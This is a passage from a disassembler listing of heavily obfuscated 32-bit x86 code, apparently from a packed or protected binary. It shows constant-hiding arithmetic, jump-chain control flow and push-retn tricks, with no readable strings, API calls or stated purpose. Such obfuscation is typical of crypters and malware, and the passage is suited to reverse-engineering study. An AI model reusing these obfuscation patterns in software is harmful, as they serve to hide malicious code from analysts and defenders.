; END OF FUNCTION CHUNK	FOR sub_4245D6
; ---------------------------------------------------------------------------
		dw 0C102h
dword_429088	dd 0							; sub_42414C+BD18r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_42908C:				; CODE XREF: sub_42F50F-248Cj
		jmp	loc_42773F
; END OF FUNCTION CHUNK	FOR sub_42F50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_429091:				; CODE XREF: wto1jq8f:0042A156j
					; sub_42A909:loc_42FA2Ej
		jmp	loc_424CA9
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D71D


loc_429096:				; CODE XREF: sub_42D71D:loc_42CF99j
		pop	edx
		push	76BE8D39h
		pop	eax
		and	eax, 0CD678D26h
		sub	eax, 8A721BD3h
		add	eax, 468E4572h
		xchg	eax, [esp-8+arg_4]
		retn
; END OF FUNCTION CHUNK	FOR sub_42D71D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0FD


loc_4290B3:				; CODE XREF: sub_42E0FD-2DF7j
		jmp	sub_427A8D
; END OF FUNCTION CHUNK	FOR sub_42E0FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F83


loc_4290B8:				; CODE XREF: sub_424F83+8j
		jmp	nullsub_29
; END OF FUNCTION CHUNK	FOR sub_424F83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B353


loc_4290BD:				; CODE XREF: sub_42B353:loc_42943Bj
		cmp	ds:dword_42D5CC, 0
		jnz	loc_42ABD0
		jmp	loc_42FFCB
; END OF FUNCTION CHUNK	FOR sub_42B353

; =============== S U B	R O U T	I N E =======================================



sub_4290CF	proc near		; DATA XREF: sub_425C0D+Co
		mov	dword ptr [ebp-18h], 0
sub_4290CF	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_4290D6:				; CODE XREF: sub_42F25F+A1Bj
		mov	eax, [ebp-4]
		mov	edx, [ebp-14h]
		add	eax, [edx+20h]
		xor	edx, edx
		push	edx
		push	eax
		jmp	loc_42428F
; END OF FUNCTION CHUNK	FOR sub_42F25F
; ---------------------------------------------------------------------------


loc_4290E8:				; CODE XREF: wto1jq8f:loc_42B163j
		add	esi, 0D99B41D5h
		push	offset loc_4271F4
		jmp	loc_42E646
; ---------------------------------------------------------------------------
		push	ecx
		push	3E66C88Ch
		pop	ecx
		rol	ecx, 1Eh
		xor	ecx, 0ED894DD0h
		jmp	loc_42FF41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FFBA


loc_42910D:				; CODE XREF: sub_42FFBA-B00Cj
		mov	esi, ebp
		xor	ebx, 0F692B261h
		jbe	loc_425D0F
		shr	ecx, 0Dh


loc_42911E:				; CODE XREF: sub_42FFBA:loc_424100j
		call	sub_4242D6
		mov	edx, 81424EE7h
		jmp	loc_4299F1
; END OF FUNCTION CHUNK	FOR sub_42FFBA
; ---------------------------------------------------------------------------
		pushf
		mov	[esp], eax
		push	esi
		push	0ECF35498h
		pop	esi
		add	esi, 134F5A7Ah
		jmp	loc_42E776
; ---------------------------------------------------------------------------
		mov	[esi], ebp
		jnz	loc_428907
		jmp	loc_426F96
; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 14h
		mov	ds:dword_42A730, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D58


loc_42915B:				; CODE XREF: sub_424D58+5AA0j
		jmp	nullsub_221
; END OF FUNCTION CHUNK	FOR sub_424D58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426313


loc_429160:				; CODE XREF: sub_426313+135Cj
		jmp	loc_424276
; END OF FUNCTION CHUNK	FOR sub_426313

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429165	proc near		; CODE XREF: wto1jq8f:00424071p
					; wto1jq8f:004241E8j ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004249D6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424EFF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042A1C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AB85 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042BBC3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042D608 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DB24 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042DBD7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042F17B SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_42BBC3
sub_429165	endp

; ---------------------------------------------------------------------------
		mov	ds:dword_42ACF0, eax
		xor	eax, eax
		push	ebx
		push	57E7A135h
		pop	ebx
		rol	ebx, 12h
		jmp	loc_42AAD9
; ---------------------------------------------------------------------------
		shr	eax, 0Eh
		jmp	sub_427F1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424907


loc_42918B:				; CODE XREF: sub_424907+Ej
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		jmp	loc_4248DF
; END OF FUNCTION CHUNK	FOR sub_424907
; ---------------------------------------------------------------------------


loc_429196:				; CODE XREF: wto1jq8f:0042CBA0j
		push	56C1B726h
		pop	eax
		sub	eax, 20407958h
		add	eax, 0F851163Ah
		xor	eax, 2ED25409h
		jmp	loc_42963D
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B8FC


loc_4291B4:				; CODE XREF: sub_42B8FC-4D6Ej
		jmp	loc_42E577
; END OF FUNCTION CHUNK	FOR sub_42B8FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4291B9	proc near		; CODE XREF: sub_42B178+Dj
					; sub_4262CE+9AE1p

; FUNCTION CHUNK AT 00426CBF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00427A74 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00429440 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FB23 SIZE 00000007 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_426CBF
sub_4291B9	endp

; ---------------------------------------------------------------------------


loc_4291C5:				; DATA XREF: sub_428B3E+37FDo
		pop	ebx
		mov	[ebp-8], eax
		js	loc_425D79
		xor	edx, edx
		mov	eax, [ebp-8]
		push	esi
		push	36478210h
		pop	esi
		jmp	loc_427D26
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_217. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424ADA


loc_4291E1:				; CODE XREF: sub_424ADA+Dj
		jmp	loc_428081
; END OF FUNCTION CHUNK	FOR sub_424ADA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4291E7:				; CODE XREF: wto1jq8f:loc_42FB54j
		pop	edx
		rol	edx, 1
		test	edx, 4000000h
		jmp	loc_42BBDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424406


loc_4291F5:				; CODE XREF: sub_424406:loc_426946j
		jnz	loc_4244AB
		jmp	loc_425A0F
; END OF FUNCTION CHUNK	FOR sub_424406
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_429201:				; CODE XREF: wto1jq8f:0042C603j
		jz	loc_42A950
		jmp	loc_42DD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42920C:				; CODE XREF: sub_42506F+789Dj
		xor	edi, ebx
		add	ebx, edx
		xor	ebp, edx
		pop	eax
		add	esi, ebx
		jmp	loc_42E2BD
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------
		xor	edx, eax
		jmp	sub_42CE8E
; ---------------------------------------------------------------------------


loc_429221:				; DATA XREF: sub_42E5B2-64D6o
		push	0
		call	sub_424BF9
		pop	eax
		cmp	dword ptr [eax], 0
		jnz	loc_42E5C2
		jmp	sub_42E5B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E5B2


loc_429237:				; CODE XREF: sub_42E5B2:loc_42E5C2j
		push	eax
		push	0
		call	sub_424BF9
		jmp	loc_42EAD7
; END OF FUNCTION CHUNK	FOR sub_42E5B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F2C7


loc_429244:				; CODE XREF: sub_42F2C7-46A8j
		push	eax
		push	0
		push	10h
		call	sub_427D82
		push	ebx
		call	sub_42B63C


loc_429254:				; CODE XREF: sub_42F2C7-94A0j
		jmp	loc_42BF18
; END OF FUNCTION CHUNK	FOR sub_42F2C7
; ---------------------------------------------------------------------------
		push	0EC5122D7h
		jmp	loc_4262B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CE2


loc_429263:				; CODE XREF: sub_425CE2+3B95j
		call	sub_42FC85


loc_429268:				; CODE XREF: wto1jq8f:loc_42A8C0j
		cmp	eax, [ebp-8]
		jnz	loc_42CA26
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_42778D
; END OF FUNCTION CHUNK	FOR sub_425CE2

; =============== S U B	R O U T	I N E =======================================



sub_429281	proc near		; CODE XREF: sub_4264F4-1BEp
					; wto1jq8f:0042ACC4j

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		add	edx, 0E03E2AB0h
		xchg	edx, [esp-4+arg_0]
sub_429281	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42928E:				; CODE XREF: sub_42C486+A2Dj
		jmp	loc_4242A4
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42708B


loc_429293:				; CODE XREF: sub_42708B:loc_429A94j
		jns	loc_42BF6F
		mov	esi, [edx]
		ja	loc_42F175
		mov	ebp, 29137D6Dh
		jmp	loc_42D302
; END OF FUNCTION CHUNK	FOR sub_42708B
; ---------------------------------------------------------------------------


loc_4292AB:				; CODE XREF: wto1jq8f:0042AF63j
		mov	[ecx], ebp

; =============== S U B	R O U T	I N E =======================================



sub_4292AD	proc near		; CODE XREF: sub_42F25F-6D22p

arg_0		= dword	ptr  4

		mov	[esp+0], edi
		pop	edi
		xchg	esi, [esp-4+arg_0]
		jmp	sub_429165
sub_4292AD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4292B9	proc near		; CODE XREF: wto1jq8f:00424DCFj
					; sub_42727F:loc_426E1Bp

; FUNCTION CHUNK AT 00427C87 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042FD2D SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	ebx, 11457002h
		add	ecx, ebx
		jmp	loc_42FD2D
sub_4292B9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		and	edi, 245077Dh
		jmp	sub_42E597
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_4292D5:				; CODE XREF: sub_427A8D:loc_4243EAj
					; sub_427A8D+C5Aj
		call	sub_427A8D
		push	0C712B4C6h
		pop	edx
		xor	edx, 0A2CC2A03h
		call	sub_429165
		jmp	loc_42FF62
; END OF FUNCTION CHUNK	FOR sub_427A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427143


loc_4292F0:				; CODE XREF: sub_427143+8A36j
		jbe	loc_42A474
		sbb	eax, edi
		pushf


loc_4292F9:				; CODE XREF: sub_427143:loc_42E7ABj
		call	sub_42EECC


loc_4292FE:				; CODE XREF: wto1jq8f:0042AE34j
		jmp	loc_42AC78
; END OF FUNCTION CHUNK	FOR sub_427143
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F3E7


loc_429303:				; CODE XREF: sub_42F3E7-5163j
		jmp	nullsub_229
; END OF FUNCTION CHUNK	FOR sub_42F3E7

; =============== S U B	R O U T	I N E =======================================



sub_429308	proc near		; CODE XREF: sub_42FBC7-9438p
					; wto1jq8f:0042C873j

; FUNCTION CHUNK AT 004241A3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00424527 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042701C SIZE 0000001A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebx
		push	0A8476DF9h
		pop	ebx
		jmp	loc_4241A3
sub_429308	endp


; =============== S U B	R O U T	I N E =======================================



sub_429318	proc near		; CODE XREF: sub_426535+C0j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004284CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BB82 SIZE 00000008 BYTES

		push	ebx
		push	9ADE27B0h
		pop	ebx
		add	ebx, 65643DBFh
		jmp	loc_4284CF
sub_429318	endp

; ---------------------------------------------------------------------------


loc_42932A:				; CODE XREF: wto1jq8f:00428111j
		and	esi, 0AC696EFEh
		xchg	esi, edi
		jmp	loc_42D559
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_429337:				; CODE XREF: sub_426535:loc_429A4Aj
		jnz	loc_42C172
		jmp	loc_42A1BD
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------


loc_429342:				; CODE XREF: wto1jq8f:0042C070j
		jz	loc_42A98E
		jmp	loc_42A74C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42934D:				; CODE XREF: sub_4244EA+48C2j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0EBh
		jz	loc_427CC2
		mov	eax, [ebp-4]
		mov	al, [eax]
		jmp	loc_428979
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262CE


loc_429363:				; CODE XREF: sub_4262CE:loc_424DECj
					; sub_4262CE+4B4Ej
		push	offset sub_428BC4
		jmp	nullsub_252
; END OF FUNCTION CHUNK	FOR sub_4262CE
; ---------------------------------------------------------------------------
		xchg	edi, [eax]
		or	edx, 0D8AEE331h
		jmp	sub_42B520
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42937A:				; CODE XREF: sub_426E98+22j
		rol	eax, 1
		xor	eax, 0B547F4A8h
		add	eax, ebp
		add	eax, 0AA388C32h
		push	eax
		jmp	loc_428436
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_429390:				; CODE XREF: sub_429B76-1FBDj
		push	0CDC8D458h
		pop	esi
		add	esi, 327989F0h
		xchg	esi, [esp+8+var_8]
		jmp	loc_4269C1
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_4293A4:				; CODE XREF: sub_42F6A9:loc_42D51Bj
		push	esi
		push	0B4255884h
		xchg	edx, [esp+0Ch+var_C]
		mov	esi, edx
		pop	edx
		sub	esi, 7D5CECD7h
		jmp	loc_42C39D
; END OF FUNCTION CHUNK	FOR sub_42F6A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262F5


loc_4293BB:				; CODE XREF: sub_4262F5-1A14j
		pop	ecx
		xchg	ebp, [esp+0]
		mov	ebx, ebp
		pop	ebp
		pop	ebp
		jmp	nullsub_31
; END OF FUNCTION CHUNK	FOR sub_4262F5

; =============== S U B	R O U T	I N E =======================================



sub_4293C8	proc near		; CODE XREF: sub_42628C:loc_42B836j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00426A14 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, edi
		xchg	ebp, [esp+4+var_4]
		push	ebx
		push	offset loc_426012
		jmp	loc_426A14
sub_4293C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EDB9


loc_4293D9:				; CODE XREF: sub_42EDB9+Dj
		push	2BB4ADC0h
		pop	eax
		xor	eax, 0F780FE81h
		cmp	eax, 6CBDEBC9h
		jmp	loc_42A373
; END OF FUNCTION CHUNK	FOR sub_42EDB9
; ---------------------------------------------------------------------------


loc_4293F0:				; DATA XREF: sub_42E9E8-8A4Co
		cmp	dword ptr [ebp-4], 0
		jnz	loc_426AF5
		jmp	loc_42FA89

; =============== S U B	R O U T	I N E =======================================



sub_4293FF	proc near		; CODE XREF: sub_428A19:loc_424DDDp

; FUNCTION CHUNK AT 004285DA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428A3A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042BCCF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C988 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042D2F3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042DC85 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DFDB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EC5E SIZE 00000010 BYTES

		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		call	sub_4245B5
		test	eax, eax
		jz	loc_42E294
		jmp	loc_42DC85
sub_4293FF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C4E2


loc_429417:				; CODE XREF: sub_42C4E2:loc_426451j
		cmp	dword ptr [ebp-14h], 6


loc_42941B:				; CODE XREF: sub_42FBC7:loc_4265AEj
		setz	al
		jmp	loc_4248F2
; ---------------------------------------------------------------------------


loc_429423:				; CODE XREF: sub_42C4E2:loc_42A398j
		cmp	dword ptr [ebp-10h], 0
		push	offset sub_424BD4
		jmp	nullsub_126
; END OF FUNCTION CHUNK	FOR sub_42C4E2

; =============== S U B	R O U T	I N E =======================================



sub_429431	proc near		; DATA XREF: sub_42C0D7:loc_4295C4o
		ror	eax, 0Ah
		push	eax
		retn
sub_429431	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_429436:				; CODE XREF: wto1jq8f:0042B81Ej
		jmp	loc_428951
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B353


loc_42943B:				; CODE XREF: sub_42B353+6j
		jmp	loc_4290BD
; END OF FUNCTION CHUNK	FOR sub_42B353
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291B9


loc_429440:				; CODE XREF: sub_4291B9-1742j
		jmp	loc_42FB23
; END OF FUNCTION CHUNK	FOR sub_4291B9
; ---------------------------------------------------------------------------


loc_429445:				; CODE XREF: wto1jq8f:0042A8A8j
		mov	eax, [ebp-8]
		push	esi
		jmp	loc_42AA1C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42944F:				; CODE XREF: wto1jq8f:0042EC8Ej
		jmp	loc_42A064
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_429454:				; CODE XREF: sub_426144-1E1Fj
		jmp	loc_429690
; END OF FUNCTION CHUNK	FOR sub_426144

; =============== S U B	R O U T	I N E =======================================



sub_429459	proc near		; CODE XREF: wto1jq8f:004286C5j
					; sub_42FB2F-653Bp

; FUNCTION CHUNK AT 00426A33 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00427F44 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042AAB8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C187 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D516 SIZE 00000005 BYTES

		mov	[esp+0], edi
		pop	edi
		mov	esp, ebp
		pop	ebp
		push	1444740Eh
		pop	eax
		or	eax, 0BBEF0476h
		jmp	loc_42AAB8
sub_429459	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_429471	proc near		; DATA XREF: sub_4240F6o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424881 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00424958 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00424E5D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004260BF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00426615 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004268AA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042827F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004288F7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00429612 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A037 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A4BD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042AA82 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042B18A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042B60A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BF35 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042C137 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C364 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042CD28 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DAC5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F365 SIZE 00000005 BYTES

		mov	eax, ds:dword_429584
		or	eax, eax
		jnz	loc_42A4BD
		jmp	loc_42DAC5
sub_429471	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_429484	proc near		; DATA XREF: wto1jq8f:0042B490o
		mov	dword ptr [ebp-18h], 0
sub_429484	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_425CE2


loc_42948B:				; CODE XREF: sub_425CE2:loc_42C878j
		mov	eax, [ebp-14h]
		mov	eax, [eax+20h]
		add	eax, [ebp-4]
		jmp	loc_42D6E3
; END OF FUNCTION CHUNK	FOR sub_425CE2
; ---------------------------------------------------------------------------
		or	esi, edx
		jmp	sub_42DA35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AAC3


loc_4294A0:				; CODE XREF: sub_42AAC3:loc_42E071j
		not	ecx
		ror	edi, 1Fh
		jmp	loc_4289DC
; END OF FUNCTION CHUNK	FOR sub_42AAC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D993


loc_4294AA:				; CODE XREF: sub_42D993+5j
		call	sub_42A6CD
; END OF FUNCTION CHUNK	FOR sub_42D993
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_4294AF:				; CODE XREF: sub_426E98+64j
		jmp	sub_42FB2F
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FC85


loc_4294B4:				; CODE XREF: sub_42FC85+6j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		push	offset sub_427798
		jmp	loc_42630E
; END OF FUNCTION CHUNK	FOR sub_42FC85

; =============== S U B	R O U T	I N E =======================================



sub_4294C7	proc near		; DATA XREF: sub_42B866+2o
		push	ecx
		push	offset sub_42826A
		jmp	nullsub_236
sub_4294C7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_4294D2:				; CODE XREF: sub_42E9E8-7204j
		jnz	loc_426AF5
		jmp	loc_426FB8
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42481C


loc_4294DD:				; CODE XREF: sub_42481C+Fj
		jz	loc_42900A
		jmp	loc_42F3C5
; END OF FUNCTION CHUNK	FOR sub_42481C
; ---------------------------------------------------------------------------


loc_4294E8:				; CODE XREF: wto1jq8f:0042B4A8j
		cmp	ds:dword_42F1F0, 0
		jmp	loc_42DAA9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4294F4	proc near		; CODE XREF: sub_4242D6j

var_14		= byte ptr -14h

; FUNCTION CHUNK AT 0042A62A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042C31F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042F709 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F7F2 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0042FC10 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042FD28 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:dword_42F1F0, 0
		jnz	loc_42FD57
		jmp	loc_42FD28
sub_4294F4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DCB4


loc_42950C:				; CODE XREF: sub_42DCB4:loc_425FD1j
		or	eax, eax
		jz	loc_429524
		cmp	eax, 0FFFFFFFFh
		jz	loc_429524
		mov	eax, [eax]
		jmp	loc_424C6D
; ---------------------------------------------------------------------------


loc_429524:				; CODE XREF: sub_42DCB4:loc_428F11j
					; sub_42DCB4-4D9Aj ...
		xor	ebx, ebx


loc_429526:				; CODE XREF: sub_42DCB4-7CE9j
		mov	eax, ebx
		pop	ecx
		jmp	loc_42F5D2
; END OF FUNCTION CHUNK	FOR sub_42DCB4
; ---------------------------------------------------------------------------
		sub	ebp, 3DA4EF86h
		cmp	ecx, 0BE8AE95Bh
		jmp	loc_42E331
; ---------------------------------------------------------------------------


loc_42953F:				; CODE XREF: wto1jq8f:0042C280j
		cmp	ecx, 1B21397h
		jmp	loc_42DEF9
; ---------------------------------------------------------------------------
		dw 0C319h
dword_42954C	dd 0							; sub_42B8FC+1806r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D4F


loc_429550:				; CODE XREF: sub_426D4F+12j
		jmp	loc_42EDA3
; END OF FUNCTION CHUNK	FOR sub_426D4F
; ---------------------------------------------------------------------------
		db 66h,	1Ch, 0FBh
dword_429558	dd 0							; sub_429D2E+3r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42955C:				; CODE XREF: sub_42C486-4A7Fj
		jmp	loc_4240C3
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42606D


loc_429561:				; CODE XREF: wto1jq8f:00427642j
					; sub_42606D:loc_42E8FDj
		jmp	loc_42CC45
; END OF FUNCTION CHUNK	FOR sub_42606D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D8D


loc_429566:				; CODE XREF: sub_427D8D-2278j
		jmp	nullsub_165
; END OF FUNCTION CHUNK	FOR sub_427D8D
; ---------------------------------------------------------------------------
		db 1
dword_42956C	dd 0		; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_429570:				; CODE XREF: sub_426535+3C0j
		jmp	loc_42F553
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
		db 26h,	0ECh, 0DFh
dword_429578	dd 0							; sub_426535+587Er ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_42957C:				; CODE XREF: sub_42A6CD-19Ej
		jmp	loc_42BCDB
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------
		db 1Fh,	40h, 0F0h
dword_429584	dd 0							; sub_42A4A5:loc_42A4B1w
; ---------------------------------------------------------------------------


loc_429588:				; CODE XREF: wto1jq8f:0042BFCBj
		jmp	sub_42B8FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42958D:				; CODE XREF: sub_426968+42DDj
		jmp	loc_42AB09
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
		or	esi, ecx
		jmp	sub_429F7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42606D


loc_429599:				; CODE XREF: sub_42606D+2CD5j
		pop	ebp
		cmp	edi, ebx
		jmp	loc_42E8FD
; END OF FUNCTION CHUNK	FOR sub_42606D
; ---------------------------------------------------------------------------


loc_4295A1:				; CODE XREF: wto1jq8f:0042A29Bj
		push	0DAD5A4F2h
		mov	[esp], eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4295AA	proc near		; CODE XREF: sub_4243D7+1E60p

; FUNCTION CHUNK AT 00428913 SIZE 00000005 BYTES

		push	5202A57Ch
		push	offset loc_42A30F
		jmp	loc_428913
sub_4295AA	endp

; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 0Ah
		mov	ds:dword_429050, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C0D7


loc_4295C4:				; CODE XREF: sub_42C0D7-1C03j
		push	offset sub_429431
		jmp	nullsub_85
; END OF FUNCTION CHUNK	FOR sub_42C0D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42970D


loc_4295CE:				; CODE XREF: sub_42970D+2C44j
		xchg	ecx, edi
		sbb	ebx, 0D8C6C55Fh


loc_4295D6:				; CODE XREF: sub_42970D:loc_4298E1j
		push	edx
		push	0B0E4B250h
		pop	edx
		rol	edx, 4
		xor	edx, 16606A98h
		add	edx, 0E817576Ah
		jmp	loc_42E791
; END OF FUNCTION CHUNK	FOR sub_42970D
